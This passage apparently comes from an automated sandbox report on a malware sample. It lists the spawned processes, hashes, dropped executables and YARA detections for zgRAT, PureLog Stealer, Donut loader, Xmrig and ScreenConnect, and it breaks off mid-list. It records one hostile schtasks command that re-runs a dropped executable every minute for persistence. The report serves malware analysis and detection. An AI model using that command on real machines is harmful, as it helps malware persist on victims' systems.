Start date:	24/07/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN explert.exe /TR "C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe" /F
Imagebase:	0x350000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:26:26
Start date:	24/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:26:32
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe"
Imagebase:	0x530000
File size:	331'776 bytes
MD5 hash:	848ABDBD09C052799A0E0180B59F6FEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:26:33
Start date:	24/07/2024
Path:	C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe"
Imagebase:	0xf20000
File size:	5'649'720 bytes
MD5 hash:	E9DD0FC8F690BC7CBE71A51CF6C79F31
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: 00000008.00000000.1765448808.0000000000F36000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:26:35
Start date:	24/07/2024
Path:	C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe"
Imagebase:	0x7ff7b6560000
File size:	1'180'160 bytes
MD5 hash:	18BBC3FB86E902AFB59C06811A5B01F4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000009.00000003.2181775167.00000234D5AAE000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 83%, ReversingLabs Detection: 74%, Virustotal, Browse
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	03:26:37
Start date:	24/07/2024
Path:	C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe"
Imagebase:	0xce0000
File size:	697'856 bytes
MD5 hash:	4F5771AA008FB55801A3F9FBA7130F69
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: 0000000A.00000002.1823708292.000000006C79B000.00000004.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000A.00000002.1823708292.000000006C79B000.00000004.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: MALWARE_Win_zgRAT, Description: Detects zgRAT, Source: 0000000A.00000002.1823708292.000000006C79B000.00000004.00000001.01000000.0000000D.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs Detection: 76%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:26:37
Start date:	24/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:26:38
Start date:	24/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0xb40000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000C.00000002.1840252168.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	03:26:41
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe"
Imagebase:	0x530000
File size:	331'776 bytes
MD5 hash:	848ABDBD09C052799A0E0180B59F6FEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	03:26:46
Start date:	24/07/2024
Path:	C:\ProgramData\ix4A2DreBBsQwY6YHkidcDjo.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\ix4A2DreBBsQwY6YHkidcDjo.exe"
Imagebase:	0x7ff72bec0000
File size:	5'649'720 bytes
MD5 hash:	E9DD0FC8F690BC7CBE71A51CF6C79F31
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\ProgramData\ix4A2DreBBsQwY6YHkidcDjo.exe, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	03:26:53
Start date:	24/07/2024
Path:	C:\ProgramData\YAPNXRPmcarcR4ZDgC81Tbdk.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\YAPNXRPmcarcR4ZDgC81Tbdk.exe"
Imagebase:	0x240000
File size:	5'649'720 bytes
MD5 hash:	E9DD0FC8F690BC7CBE71A51CF6C79F31
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\ProgramData\YAPNXRPmcarcR4ZDgC81Tbdk.exe, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	03:26:59
Start date:	24/07/2024
Path:	C:\ProgramData\SmLAztxc1o8yfogkJXrRjbDt.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\SmLAztxc1o8yfogkJXrRjbDt.exe"
Imagebase:	0x2e0000
File size:	5'649'720 bytes
MD5 hash:	E9DD0FC8F690BC7CBE71A51CF6C79F31
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\ProgramData\SmLAztxc1o8yfogkJXrRjbDt.exe, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	03:27:06
Start date:	24/07/2024
Path:	C:\ProgramData\3HvoFOAmEaJswFCHOzyfyz5b.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\3HvoFOAmEaJswFCHOzyfyz5b.exe"
Imagebase:	0xeb0000
File size:	5'649'720 bytes
MD5 hash:	E9DD0FC8F690BC7CBE71A51CF6C79F31
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\ProgramData\3HvoFOAmEaJswFCHOzyfyz5b.exe, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	03:27:13
Start date:	24/07/2024
Path:	C:\ProgramData\6KZmcK8r6beUzmRf6Ci6nx8d.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\6KZmcK8r6beUzmRf6Ci6nx8d.exe"
Imagebase:	0x910000
File size:	5'649'720 bytes
MD5 hash:	E9DD0FC8F690BC7CBE71A51CF6C79F31
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\ProgramData\6KZmcK8r6beUzmRf6Ci6nx8d.exe, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	03:27:19
Start date:	24/07/2024
Path:	C:\ProgramData\yDd3OJXsNQptgFrYILoygXLs.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\yDd3OJXsNQptgFrYILoygXLs.exe"
Imagebase:	0xef0000
File size:	5'649'720 bytes
MD5 hash:	E9DD0FC8F690BC7CBE71A51CF6C79F31
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\ProgramData\yDd3OJXsNQptgFrYILoygXLs.exe, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	03:27:24
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe"
Imagebase:	0x7ff6712e0000
File size:	1'180'160 bytes
MD5 hash:	18BBC3FB86E902AFB59C06811A5B01F4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2663527189.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2686476457.0000021E03768000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2661359746.0000021E031A7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2689396075.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2659972614.0000021E03194000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2661205668.0000021E03151000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2686476457.0000021E03734000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2686049114.0000021E03765000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2659255671.0000021E03635000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2689396075.0000021E03062000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2686476457.0000021E0372E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2686049114.0000021E0373E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2659255671.0000021E0362F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2687199973.0000021E0305A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2660087797.0000021E03581000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2666668474.0000021E031A7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2661521340.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2674148859.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2661677871.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2660087797.0000021E03530000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2660847616.0000021E03196000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2660087797.0000021E03567000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2660847616.0000021E03140000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2661128058.0000021E03196000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2688132576.0000021E03061000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000018.00000003.2693194416.0000021E0319A000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2687808650.0000021E03516000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2687199973.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2688253860.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2686049114.0000021E03798000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2686049114.0000021E0372E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2673013794.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000018.00000003.2692757034.0000021E034D5000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2659255671.0000021E03669000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2660730785.0000021E03194000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2688132576.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2660087797.0000021E03537000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2661359746.0000021E0318E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2686476457.0000021E03798000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2663760300.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2662087897.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2689684395.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000018.00000003.2692958541.0000021E0318C000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000003.2689532030.0000021E030A4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	03:27:26
Start date:	24/07/2024
Path:	C:\ProgramData\xpTljBOh8s4KWiGtXsL1c00g.exe
Wow64 process (32bit):	false
Commandline:	"C:\ProgramData\xpTljBOh8s4KWiGtXsL1c00g.exe"
Imagebase:	0x8d0000
File size:	5'649'720 bytes
MD5 hash:	E9DD0FC8F690BC7CBE71A51CF6C79F31
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\ProgramData\xpTljBOh8s4KWiGtXsL1c00g.exe, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	03:27:28
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Local\Temp\gtxkvh.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\gtxkvh.exe"
Imagebase:	0xed0000
File size:	710'144 bytes
MD5 hash:	631670BEA7DD01CB347C389294714438
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	03:27:32
Start date:	24/07/2024
Path:	C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe"
Imagebase:	0x7ff6712e0000
File size:	1'180'160 bytes
MD5 hash:	18BBC3FB86E902AFB59C06811A5B01F4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2780772219.00000159F38CB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 0000001B.00000003.2794263235.00000159F3891000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2783975569.00000159F3470000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2780772219.00000159F38FB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2762360259.00000159F3465000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2770549430.00000159F3627000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2761279906.00000159F3627000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2759055860.00000159F38C7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2778870088.00000159F3627000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2769879693.00000159F3627000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2801216518.00000159F3492000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2760278744.00000159F3627000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2767124522.00000159F3627000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2759580916.00000159F3896000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2779479672.00000159F3891000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2783103519.00000159F360F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2787747249.00000159F349A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2782126972.00000159F3464000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2759055860.00000159F3897000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2764776666.00000159F346C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2791688116.00000159F349B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2785135937.00000159F345D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2763426209.00000159F346C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2785229702.00000159F3610000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2780772219.00000159F3891000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2779479672.00000159F3898000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2778573331.00000159F3495000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2782967013.00000159F3470000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2779479672.00000159F38C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2771554480.00000159F3627000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2770178263.00000159F3627000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2760641243.00000159F3627000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2765139328.00000159F3627000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2764927688.00000159F3472000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2780772219.00000159F3897000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2759580916.00000159F38CA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2777007339.00000159F3627000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2759580916.00000159F3891000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2764697915.00000159F3492000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2766881524.00000159F346E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2766881524.00000159F3479000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2782280474.00000159F360F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2787221813.00000159F345E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2784484927.00000159F3484000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2779479672.00000159F38FB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2759055860.00000159F3891000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2790709240.00000159F361A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000001B.00000003.2791398929.00000159F3460000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 